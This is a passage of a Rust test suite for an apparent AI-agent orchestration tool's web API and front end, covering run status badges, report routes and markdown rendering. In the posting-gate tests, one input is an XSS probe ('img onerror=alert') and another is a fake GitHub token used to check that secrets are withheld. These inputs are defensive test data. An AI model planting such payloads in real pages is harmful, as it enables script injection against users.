18771 (RunStatus::Gating, false, Unknown, false, "gating"),
18772 (RunStatus::Gating, false, Live, true, "gating"),
18773 (RunStatus::Gating, true, Live, true, "waiting"),
18774 (RunStatus::Merged, false, Dead, true, "merged"),
18775 (RunStatus::Blocked, false, Dead, true, "blocked"),
18776 ] {
18777 state.status = status;
18778 let display = run_display_status(&state, waiting, live);
18779 assert_eq!(
18780 run_badge_status(&state, &display, live, superseded),
18781 expected,
18782 "{status:?}/{live:?}/superseded={superseded}"
18783 );
18784 }
18785 }
18786
18787 #[test]
18788 fn summarize_and_detail_expose_badge_status() {
18789 use crate::run::Liveness::Dead;
18790 let mut state = RunState::new(
18791 PathBuf::from("/repo/magi"),
18792 "main".to_owned(),
18793 "abc".to_owned(),
18794 "Badge".to_owned(),
18795 Config::default(),
18796 );
18797 state.status = RunStatus::Gating;
18798 let none = HashSet::new();
18799 let id = state.id.clone();
18800 let mut by = HashMap::new();
18801 let rows = summarize(
18802 [state.clone()],
18803 &none,
18804 &none,
18805 &by,
18806 |_| Some(false),
18807 |_| None,
18808 );
18809 assert_eq!(rows[0].badge_status, rows[0].display_status);
18811 by.insert(id, "20260901-000000-913b".to_owned());
18812 let detail = RunDetailView::of(
18813 state.clone(),
18814 false,
18815 Dead,
18816 Some("913b".to_owned()),
18817 None,
18818 None,
18819 );
18820 assert_eq!(detail.badge_status, "superseded");
18821 let json = serde_json::to_value(&detail).unwrap();
18822 assert_eq!(json["badge_status"], "superseded");
18823 let detail = RunDetailView::of(state, false, Dead, None, None, None);
18824 assert_eq!(detail.badge_status, "stale");
18825 }
18826
18827 #[tokio::test]
18828 async fn run_display_status_routes_share_the_open_question_store() {
18829 let f = Fixture::start().await;
18830 let id = "20260922-090200-abcd";
18831 write_run(&f.runs(), id, RunStatus::Judging);
18832 let mut state = read_run(&f.runs(), id).unwrap();
18833 state.parked = true;
18834 state.driver_exited = true;
18835 state.event("github-text", "waiting for the owner");
18836 state.save_under(f.home.path()).unwrap();
18837 let mut task = Task::new(
18838 "resumed task".to_owned(),
18839 "do it".to_owned(),
18840 PathBuf::from("/repo"),
18841 Source::Human,
18842 );
18843 task.runs = vec![id.to_owned(), id.to_owned()];
18844 f.queue().put(&mut task).unwrap();
18845 let store = f.questions();
18846 let mut q = Question::new(
18847 id.to_owned(),
18848 "github-text".to_owned(),
18849 "owner".to_owned(),
18850 "Approve the text?".to_owned(),
18851 String::new(),
18852 Vec::new(),
18853 );
18854 store.put(&mut q).unwrap();
18855 for expected in ["waiting", "parked"] {
18856 let list = f.get("/api/runs").await.json();
18857 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18858 assert_eq!(list[0]["display_status"], expected);
18859 assert_eq!(detail["display_status"], expected);
18860 assert_eq!(detail["waiting"], list[0]["waiting"]);
18861 assert_eq!(list[0]["badge_status"], expected);
18862 assert_eq!(detail["badge_status"], expected);
18863 assert!(list[0]["superseded_by"].is_null());
18864 assert!(detail["superseded_by"].is_null());
18865 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
18866 let history = task_detail["history"].as_array().unwrap();
18867 assert_eq!(history.len(), 2);
18868 assert!(history[0]["badge"].is_null());
18869 assert_eq!(history[1]["badge"], expected);
18870 q.status = ask::QuestionStatus::Answered;
18871 store.put(&mut q).unwrap();
18872 }
18873 }
18874
18875 #[tokio::test]
18876 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
18877 let f = Fixture::start().await;
18878 let id = "20260922-090200-abcd";
18879 write_run(&f.runs(), id, RunStatus::Judging);
18880 let mut state = read_run(&f.runs(), id).unwrap();
18881 state.parked = true;
18882 state.driver_exited = true;
18883 state.event("park", "stopped at a node boundary");
18884 state.save_under(f.home.path()).unwrap();
18885
18886 for expected in ["parked", "stale"] {
18887 let list = f.get("/api/runs").await.json();
18888 let detail = f.get(&format!("/api/runs/{id}")).await.json();
18889 assert_eq!(list[0]["live"], "dead");
18890 assert_eq!(list[0]["display_status"], expected);
18891 assert_eq!(detail["display_status"], expected);
18892 state.parked = false;
18895 state.save_under(f.home.path()).unwrap();
18896 }
18897 }
18898
18899 #[tokio::test]
18900 async fn the_run_list_is_newest_first_and_honours_a_limit() {
18901 let f = Fixture::start().await;
18902 for id in [
18903 "20260902-140501-aaaa",
18904 "20260902-140502-bbbb",
18905 "20260902-140503-cccc",
18906 ] {
18907 write_run(&f.runs(), id, RunStatus::Merged);
18908 }
18909
18910 let all = f.get("/api/runs").await.json();
18911 let capped = f.get("/api/runs?limit=2").await.json();
18912
18913 assert_eq!(all[0]["id"], "20260902-140503-cccc");
18914 assert_eq!(all.as_array().map(Vec::len), Some(3));
18915 assert_eq!(capped.as_array().map(Vec::len), Some(2));
18916 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
18917 }
18918
18919 #[tokio::test]
18920 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
18921 let f = Fixture::start().await;
18922 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
18923
18924 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
18925
18926 assert_eq!(res.status, 200);
18927 assert!(
18928 res.headers
18929 .contains("content-type: text/plain; charset=utf-8"),
18930 "a browser must render it, not download it: {}",
18931 res.headers
18932 );
18933 assert!(
18937 res.body.contains("20260902-140501-a1b2"),
18938 "the report is about the run that was asked for: {}",
18939 res.body
18940 );
18941 }
18942
18943 #[tokio::test]
18944 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
18945 crate::run::pin_test_home();
18947 let f = Fixture::start().await;
18948 let id = "20260902-140501-a1b2";
18949 write_run(&f.runs(), id, RunStatus::Stalled);
18950 let path = f.runs().join(id).join("run.json");
18953 let mut v: serde_json::Value =
18954 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
18955 v["tally"] = serde_json::json!({
18956 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
18957 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
18958 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
18959 "met_quorum": false, "rankings": 1
18960 });
18961 v["reviews"] = serde_json::json!([{
18962 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
18963 "e2e_deferred": true,
18964 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
18965 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
18966 ]}]
18967 }]);
18968 std::fs::write(&path, v.to_string()).unwrap();
18969 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
18970 std::fs::write(
18971 f.runs().join("20260902-140502-dead").join("run.json"),
18972 "{not json",
18973 )
18974 .unwrap();
18975
18976 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
18977
18978 assert_eq!(res.status, 200, "{}", res.body);
18979 assert!(res.headers.contains("content-type: application/json"));
18980 let j = res.json();
18981 assert_eq!(j["schema"], 1);
18982 assert_eq!(j["header"]["id"], id);
18983 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
18984 let kinds: Vec<&str> = j["sections"]
18985 .as_array()
18986 .unwrap()
18987 .iter()
18988 .map(|s| s["kind"].as_str().unwrap())
18989 .collect();
18990 assert_eq!(kinds, ["candidates", "tally", "review"]);
18991 let tally = &j["sections"][1]["tally"];
18992 assert_eq!(
18993 (tally["decided"].clone(), tally["provisional"].clone()),
18994 (false.into(), true.into())
18995 );
18996 let round = &j["sections"][2]["rounds"][0];
18997 assert_eq!(round["e2e"]["state"], "deferred");
18998 assert_eq!(round["findings"][0]["severity"], "major");
18999 assert_eq!(round["findings"][0]["blocking"], true);
19000 assert_eq!(round["findings"][0]["state"], "open");
19001
19002 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
19004
19005 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
19007 assert_ne!(bad.status, 200, "{}", bad.body);
19008 assert_eq!(
19009 bad.status,
19010 f.get("/api/runs/20260902-140502-dead/report").await.status
19011 );
19012 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
19013 assert_eq!(
19014 f.get("/api/runs/20260902-999999-ffff/report.json")
19015 .await
19016 .status,
19017 404
19018 );
19019 }
19020
19021 #[tokio::test]
19022 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
19023 crate::run::pin_test_home();
19024 let f = Fixture::start().await;
19025 let id = "20260902-140503-delib";
19026 write_run(&f.runs(), id, RunStatus::Merged);
19027 let path = f.runs().join(id).join("run.json");
19028 let mut v: serde_json::Value =
19029 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
19030 v["judgements"] = serde_json::json!([
19031 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19032 ]);
19033 v["tally"] = serde_json::json!({
19034 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
19035 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
19036 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
19037 "met_quorum": true, "rankings": 1
19038 });
19039 v["deliberation"] = serde_json::json!([
19040 {
19041 "round": 1,
19042 "turns": [
19043 {
19044 "judge": 1,
19045 "agent": "judge-1",
19046 "body": "I prefer candidate **A** because it has cleaner tests.",
19047 "tentative": "A"
19048 }
19049 ]
19050 },
19051 {
19052 "round": 2,
19053 "turns": [
19054 {
19055 "judge": 1,
19056 "agent": "judge-1",
19057 "body": "Still thinking, no choice yet.",
19058 "tentative": null
19059 }
19060 ]
19061 }
19062 ]);
19063 std::fs::write(&path, v.to_string()).unwrap();
19064
19065 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
19066 assert_eq!(res.status, 200, "{}", res.body);
19067 let j = res.json();
19068 let judging = j["sections"]
19069 .as_array()
19070 .unwrap()
19071 .iter()
19072 .find(|s| s["kind"] == "judging")
19073 .expect("judging section exists");
19074
19075 let delib_lines = judging["deliberation"].as_array().unwrap();
19077 assert_eq!(delib_lines.len(), 2);
19078 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
19079 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
19080
19081 let rounds = judging["rounds"].as_array().unwrap();
19083 assert_eq!(rounds.len(), 2);
19084 let r1_t0 = &rounds[0]["turns"][0];
19085 assert_eq!(r1_t0["judge"], 1);
19086 assert_eq!(r1_t0["agent"], "judge-1");
19087 assert_eq!(r1_t0["tentative"], "A");
19088 assert_eq!(
19089 r1_t0["body"],
19090 "I prefer candidate **A** because it has cleaner tests."
19091 );
19092 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
19093
19094 let r2_t0 = &rounds[1]["turns"][0];
19095 assert_eq!(r2_t0["judge"], 1);
19096 assert_eq!(r2_t0["agent"], "judge-1");
19097 assert!(r2_t0["tentative"].is_null());
19098 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
19099 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
19100
19101 let id_empty = "20260902-140504-nodelib";
19103 write_run(&f.runs(), id_empty, RunStatus::Merged);
19104 let path_empty = f.runs().join(id_empty).join("run.json");
19105 let mut v_empty: serde_json::Value =
19106 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
19107 v_empty["judgements"] = serde_json::json!([
19108 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
19109 ]);
19110 v_empty["deliberation"] = serde_json::json!([]);
19111 std::fs::write(&path_empty, v_empty.to_string()).unwrap();
19112
19113 let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
19114 assert_eq!(res_empty.status, 200, "{}", res_empty.body);
19115 let j_empty = res_empty.json();
19116 let judging_empty = j_empty["sections"]
19117 .as_array()
19118 .unwrap()
19119 .iter()
19120 .find(|s| s["kind"] == "judging")
19121 .expect("judging section exists");
19122 assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
19123 }
19124
19125 #[tokio::test]
19126 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
19127 let f = Fixture::start().await;
19128
19129 let html = f.get("/").await;
19130 let css = f.get("/app.css").await;
19131 let js = f.get("/app.js").await;
19132
19133 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
19134 assert!(
19135 html.headers
19136 .contains("content-type: text/html; charset=utf-8")
19137 );
19138 assert!(css.headers.contains("content-type: text/css"));
19139 assert!(js.headers.contains("content-type: text/javascript"));
19140 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
19141 }
19142
19143 #[test]
19144 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
19145 let body = |name: &str| {
19146 let at = APP_JS
19147 .find(name)
19148 .unwrap_or_else(|| panic!("{name} missing"));
19149 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19150 };
19151 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
19152 let note = body("function landRoundNote");
19153 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
19154 assert!(note.contains("Land round ${round}"));
19155 let land = body("function renderLand");
19156 let note_at = land
19157 .find("landRoundNote(pr)")
19158 .expect("renderLand uses the note");
19159 assert!(
19160 note_at
19161 < land
19162 .find("roundRail(pr)")
19163 .expect("renderLand uses the rail")
19164 );
19165 }
19166
19167 #[test]
19168 fn the_runs_page_redesign_keeps_its_guards() {
19169 let body = |name: &str| {
19170 let at = APP_JS
19171 .find(name)
19172 .unwrap_or_else(|| panic!("{name} missing"));
19173 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
19174 };
19175 let land = body("function renderLand");
19177 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
19178 assert!(
19179 !land.contains("box.append("),
19180 "renderLand must use append()"
19181 );
19182 assert!(land.contains("append(box, ["));
19183 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
19185 assert!(
19186 body("function applyRoute")
19187 .contains("route.name !== state.route.name || route.id !== state.route.id")
19188 );
19189 assert!(!APP_JS.contains("adviseConvergeDiagram"));
19191 assert!(!INDEX_HTML.contains("advise-converge"));
19192 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
19193 assert!(APP_JS.contains("provisional"));
19194 for id in [
19195 "run-tab-overview",
19196 "run-tab-timeline",
19197 "run-tab-report",
19198 "run-report",
19199 "runs-scope",
19200 ] {
19201 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
19202 }
19203 assert!(!INDEX_HTML.contains("runs-tree"));
19204 assert!(!INDEX_HTML.contains("run-raw-panel"));
19205 assert!(APP_JS.contains("resume"));
19207 assert!(APP_JS.contains("unreadable"));
19209 }
19210
19211 #[test]
19212 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
19213 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
19214 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
19215 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
19216 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
19217 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
19218 assert!(APP_JS.contains("unreadable` : null"));
19220 }
19221
19222 #[test]
19223 fn blocked_run_detail_exposes_the_failed_gate_reason() {
19224 let mut state = RunState::new(
19225 "/repo".into(),
19226 "main".into(),
19227 "abc".into(),
19228 "task".into(),
19229 crate::config::Config::default(),
19230 );
19231 state.status = RunStatus::Blocked;
19232 state.gate_ran = true;
19233 state.gate.push(crate::run::CommandOutcome {
19234 command: "cargo make check".into(),
19235 code: Some(1),
19236 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
19237 duration_ms: 0,
19238 resource_blocked: false,
19239 });
19240 let view = RunDetailView::of(
19241 state,
19242 false,
19243 crate::run::Liveness::Unknown,
19244 None,
19245 None,
19246 None,
19247 );
19248 let value = serde_json::to_value(view).unwrap();
19249 assert_eq!(
19250 value["stop_reason"],
19251 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
19252 );
19253 }
19254
19255 #[test]
19256 fn the_run_detail_payload_says_whether_the_run_is_done() {
19257 for (status, done) in [
19259 (RunStatus::Superseded, true),
19260 (RunStatus::Blocked, true),
19261 (RunStatus::Landing, false),
19262 ] {
19263 let mut state = RunState::new(
19264 std::path::PathBuf::from("/repo"),
19265 "main".to_owned(),
19266 "abc".to_owned(),
19267 "x".to_owned(),
19268 crate::config::Config::default(),
19269 );
19270 state.status = status;
19271 let v = serde_json::to_value(RunDetailView::of(
19272 state,
19273 false,
19274 crate::run::Liveness::Unknown,
19275 None,
19276 None,
19277 None,
19278 ))
19279 .unwrap();
19280 assert_eq!(v["done"], done, "{status:?}");
19281 }
19282 }
19283
19284 fn has_strong(nodes: &[md::Node]) -> bool {
19286 serde_json::to_string(nodes).unwrap().contains("strong")
19287 }
19288
19289 #[test]
19290 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
19291 let mut state = RunState::new(
19292 std::path::PathBuf::from("/repo"),
19293 "main".to_owned(),
19294 "abc".to_owned(),
19295 "x".to_owned(),
19296 crate::config::Config::default(),
19297 );
19298 let proposal = |approach: &str| {
19299 serde_json::json!({
19300 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
19301 })
19302 };
19303 state.advice = Some(
19304 serde_json::from_value(serde_json::json!({
19305 "records": [
19306 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
19307 "proposal": proposal("do **this**")},
19308 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
19309 ],
19310 "synthesis": "- one\n- **two**\n\n`code`",
19311 }))
19312 .unwrap(),
19313 );
19314 state.candidates = serde_json::from_value(serde_json::json!([
19315 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
19316 "summary": "did **it**"},
19317 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
19318 ]))
19319 .unwrap();
19320 state.reviews = serde_json::from_value(serde_json::json!([{
19323 "round": 1, "head": "h",
19324 "reviews": [{
19325 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
19326 "findings": [
19327 {"severity": "nit", "title": "t1", "detail": "plain nit"},
19328 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
19329 ],
19330 }],
19331 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
19332 "fix": {"agent": "a", "notes": "fixed **it**",
19333 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
19334 }, {"round": 2, "head": "h2", "reviews": []}]))
19335 .unwrap();
19336
19337 let v = serde_json::to_value(RunDetailView::of(
19338 state,
19339 false,
19340 crate::run::Liveness::Unknown,
19341 None,
19342 None,
19343 None,
19344 ))
19345 .unwrap();
19346
19347 let strong = |p: &str| {
19348 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
19349 assert!(n.to_string().contains("strong"), "{p}: {n}");
19350 };
19351 strong("/advice_md/synthesis");
19352 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
19353 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
19354 strong("/advice_md/approaches/0");
19355 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
19356 strong("/candidate_summaries_md/0");
19357 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
19358 strong("/reviews_md/0/reviewers/0/summary");
19359 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
19360 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
19361 assert!(f[1].to_string().contains("strong"));
19362 strong("/reviews_md/0/reconsideration/0");
19363 strong("/reviews_md/0/fix/notes");
19364 strong("/reviews_md/0/fix/rejected/0");
19365 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
19366 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
19367 assert_eq!(v["candidates"][0]["summary"], "did **it**");
19369 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
19370 }
19371
19372 #[test]
19373 fn a_run_without_advice_has_no_advice_md() {
19374 let state = RunState::new(
19375 std::path::PathBuf::from("/repo"),
19376 "main".to_owned(),
19377 "abc".to_owned(),
19378 "x".to_owned(),
19379 crate::config::Config::default(),
19380 );
19381 let p = run_prose_md(&state);
19382 assert!(p.advice_md.is_none());
19383 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
19384 }
19385
19386 #[test]
19387 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
19388 let store = ask::Questions::at(PathBuf::from("unused"));
19389 let gt = crate::github_text::Withheld {
19390 title: false,
19391 body: true,
19392 categories: vec!["sensitive-data".into()],
19393 };
19394 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
19395 let (detail, comparison) =
19396 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19397 let mut q = Question::new(
19398 "r".into(),
19399 "github-text".into(),
19400 "posting-gate".into(),
19401 "s".into(),
19402 detail,
19403 Vec::new(),
19404 );
19405 assert!(
19406 QuestionView::of(q.clone(), &store, None)
19407 .posting_view
19408 .is_none()
19409 );
19410 q.posting_comparison = Some(comparison);
19411 let view = QuestionView::of(q.clone(), &store, None);
19412 let field = &view.posting_view.unwrap().fields[0];
19413 assert_eq!(
19414 field
19415 .original
19416 .iter()
19417 .map(|f| f.text.as_str())
19418 .collect::<String>(),
19419 body
19420 );
19421 assert!(field.original[0].text.starts_with("<img"));
19422 let original_question: Question =
19423 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
19424 assert_eq!(original_question, q);
19425 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
19426 .original
19427 .start = 1;
19428 assert!(
19429 QuestionView::of(q.clone(), &store, None)
19430 .posting_view
19431 .is_none()
19432 );
19433 q.posting_comparison = original_question.posting_comparison;
19434 q.detail.push_str("extra context");
19435 assert!(
19436 QuestionView::of(q.clone(), &store, None)
19437 .posting_view
19438 .is_some()
19439 );
19440 q.detail.insert(0, 'x');
19441 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
19442 }
19443
19444 #[test]
19445 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
19446 let store = ask::Questions::at(PathBuf::from("unused"));
19447 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
19448 let gt = crate::github_text::Withheld::from_check(
19449 &crate::github_text::check("fix: x", body),
19450 "fix: x",
19451 body,
19452 )
19453 .unwrap();
19454 let (detail, comparison) =
19455 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
19456 let mut q = Question::new(
19457 "r".into(),
19458 "github-text".into(),
19459 "posting-gate".into(),
19460 "s".into(),
19461 detail,
19462 Vec::new(),
19463 );
19464 q.posting_comparison = Some(comparison);
19465 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
19466 let field = &value["posting_view"]["fields"][0];
19467 let group = &field["replacement_group"];
19468 let triggers = group["triggers"].as_array().unwrap();
19469 assert_eq!(triggers.len(), 2);
19470 assert_ne!(triggers[0], triggers[1]);
19471 for id in triggers {
19472 assert!(
19473 field["original"]
19474 .as_array()
19475 .unwrap()
19476 .iter()
19477 .any(|f| &f["pair"] == id)
19478 );
19479 assert!(
19480 !field["changed"]
19481 .as_array()
19482 .unwrap()
19483 .iter()
19484 .any(|f| &f["pair"] == id)
19485 );
19486 }
19487 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
19488 group["id"].as_u64().unwrap() as usize;
19489 assert!(
19490 QuestionView::of(q, &store, None).posting_view.is_none(),
19491 "group and trigger IDs cannot collide"
19492 );
19493 }
19494
19495 #[test]
19496 fn a_question_view_carries_markdown_for_each_thread_turn() {
19497 let home = TempDir::new().unwrap();
19498 let store = ask::Questions::at(home.path().join("questions"));
19499 let mut q = Question::new(
19500 "run".to_owned(),
19501 "implement".to_owned(),
19502 "impl-A".to_owned(),
19503 "which?".to_owned(),
19504 String::new(),
19505 Vec::new(),
19506 );
19507 q.say("plain words").unwrap();
19508 q.reply("use **this**", Vec::new()).unwrap();
19509 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19510 let bodies = &v["thread_bodies_md"];
19511 assert_eq!(bodies.as_array().unwrap().len(), 2);
19512 assert!(!bodies[0].to_string().contains("strong"));
19513 assert!(bodies[1].to_string().contains("strong"));
19514 }
19515
19516 #[test]
19517 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
19518 let home = TempDir::new().unwrap();
19519 let store = ask::Questions::at(home.path().join("questions"));
19520 let mut q = Question::new(
19521 "run".to_owned(),
19522 "conduct".to_owned(),
19523 "conduct".to_owned(),
19524 "which?".to_owned(),
19525 String::new(),
19526 Vec::new(),
19527 );
19528 q.say("plain words").unwrap();
19529 q.thread.push(ask::Turn {
19530 who: ask::Who::Agent,
19531 body: "Settled as `merge`".to_owned(),
19532 at: jiff::Timestamp::now(),
19533 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
19534 });
19535 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
19536 let notes = &v["thread_notes_md"];
19537 assert_eq!(notes.as_array().unwrap().len(), 2);
19538 assert!(notes[0].is_null());
19539 let text = notes[1].to_string();
19540 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
19541 assert!(APP_JS.contains("ask-turn-note"));
19542 }
19543
19544 #[test]
19545 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
19546 assert!(APP_JS.contains("function landView(run, raw) {"));
19550 assert!(
19551 APP_JS.contains(
19552 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
19553 )
19554 );
19555 assert!(APP_JS.contains("const pr = landView(run, raw);"));
19556 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
19557 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
19558 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
19559 }
19560
19561 #[test]
19562 fn live_runs_are_never_hidden_or_folded_as_superseded() {
19563 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
19564 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
19565 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
19566 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
19567 }
19568
19569 #[test]
19570 fn review_rounds_label_a_distinct_verified_head() {
19571 assert!(APP_JS.contains("round.verified_head"));
19572 assert!(APP_JS.contains("verified HEAD"));
19573 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
19574 }
19575
19576 #[test]
19577 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
19578 assert!(APP_JS.contains("blocked: { glyph:"));
19582 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
19583
19584 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
19588 assert!(
19589 APP_JS.contains(
19590 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
19591 ),
19592 "the note line must name what a blocked task is waiting on, not just that it is blocked"
19593 );
19594 assert!(APP_JS.contains("if (status === \"blocked\") {"));
19598
19599 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
19603 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
19604 assert!(
19605 APP_JS.contains("location.hash = \"#/questions\";"),
19606 "a question node must jump to the Questions screen, not pretend to be a task"
19607 );
19608
19609 assert!(APP_JS.contains("Resolved questions"));
19612 assert!(APP_JS.contains("r.answersList.append("));
19613 assert!(APP_CSS.contains(".task-answers"));
19614 {
19615 let start = APP_JS
19616 .find("function updateTalkTaskRow")
19617 .expect("updateTalkTaskRow");
19618 let body = &APP_JS[start..];
19619 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
19620 assert!(
19621 body.contains(
19622 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
19623 ),
19624 "a chat-filed task row must link to the task page"
19625 );
19626 assert!(
19627 !body.contains("#/runs/") && !body.contains("#/queue/"),
19628 "the row must not branch to a run or the queue card"
19629 );
19630 assert!(APP_CSS.contains(".talk-task-link"));
19631 }
19632 }
19633
19634 #[test]
19635 fn a_task_notification_links_to_the_task_page() {
19636 let start = APP_JS
19638 .find("function noticeLink(")
19639 .expect("noticeLink exists");
19640 let body = &APP_JS[start..];
19641 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
19642 assert!(
19643 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
19644 "a task notice's link must target the task page"
19645 );
19646 assert!(
19647 !body.contains("#/queue/"),
19648 "regression: the task link must not go back to the Backlog route"
19649 );
19650 assert!(
19651 APP_JS.contains(
19652 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
19653 ),
19654 "`#/tasks/<id>` must parse into the task route"
19655 );
19656
19657 assert!(
19659 APP_JS.contains(
19660 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
19661 ),
19662 "`#/queue/<id>` must parse into a route carrying that id"
19663 );
19664
19665 assert!(APP_JS.contains("state.queueFocus = route.id;"));
19669 assert!(APP_JS.contains("function consumeQueueFocus()"));
19670 assert!(APP_JS.contains("jumpToTask(id)"));
19671 }
19672
19673 #[test]
19674 fn notifications_distinguish_actionable_questions_from_informational_notices() {
19675 let start = APP_JS
19676 .find("function noticeCoveredBy(")
19677 .expect("noticeCoveredBy exists");
19678 let body = &APP_JS[start..];
